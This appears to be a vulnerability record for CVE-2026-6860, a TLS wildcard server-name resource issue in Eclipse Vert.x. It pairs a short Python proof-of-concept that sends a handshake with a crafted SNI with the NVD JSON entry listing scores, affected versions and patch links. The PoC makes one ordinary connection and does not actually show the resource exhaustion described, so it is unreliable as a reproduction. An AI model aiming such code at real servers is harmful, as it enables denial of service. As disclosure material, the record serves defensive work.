CVE-2026-6860

import socket import ssl def send_malicious_sni(target_host, target_port, crafted_sni): """ PoC to send a TLS handshake with a crafted SNI. This demonstrates the client capability mentioned in the vulnerability description. """ # Create a standard TCP socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) # Create an SSL context context = ssl.create_default_context() try: # Wrap the socket with SSL, specifying the crafted SNI (Server Name Indication) # This simulates the attacker sending a specific name to match the wildcard ssl_sock = context.wrap_socket(sock, server_hostname=crafted_sni) # Connect to the target ssl_sock.connect((target_host, target_port)) print(f"[+] TLS Handshake successful with SNI: {crafted_sni}") print(f"[+] Peer certificate: {ssl_sock.getpeercert()}") # Clean up ssl_sock.close() except Exception as e: print(f"[-] Error during connection: {e}") if __name__ == "__main__": # Example usage target = "example.com" # Replace with actual vulnerable server port = 443 malicious_sni = "xyz.example.com" # A name intended to trigger the wildcard logic send_malicious_sni(target, port, malicious_sni)

{"cve": {"id": "CVE-2026-6860", "sourceIdentifier": "[email protected]", "published": "2026-05-06T10:16:26.293", "lastModified": "2026-05-12T13:42:01.617", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A TCP client can perform a TLS handshake and present the server name extension with a server name that is accepted by a server wildcard name, e.g. if the server is configured with a certificate accepting *.example.com, any XYZ.example.com where xyz is a valid name can be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "LOW", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:vert.x:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.3.4", "versionEndIncluding": "4.5.26", "matchCriteriaId": "2D97737D-C9E5-44D5-B960-CDB913B633A2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:vert.x:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndIncluding": "5.0.11", "matchCriteriaId": "FA536485-C257-482E-95AB-D22B0C596F68"}]}]}], "references": [{"url": "https://github.com/eclipse-vertx/vert.x/pull/6102", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/eclipse-vertx/vert.x/security/advisories/GHSA-3g76-f9xq-8vp6", "source": "[email protected]", "tags": ["Vendor Advisory", "Exploit"]}, {"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/381", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.eclipse.org/security/vulnerability-reports/-/issues/381", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}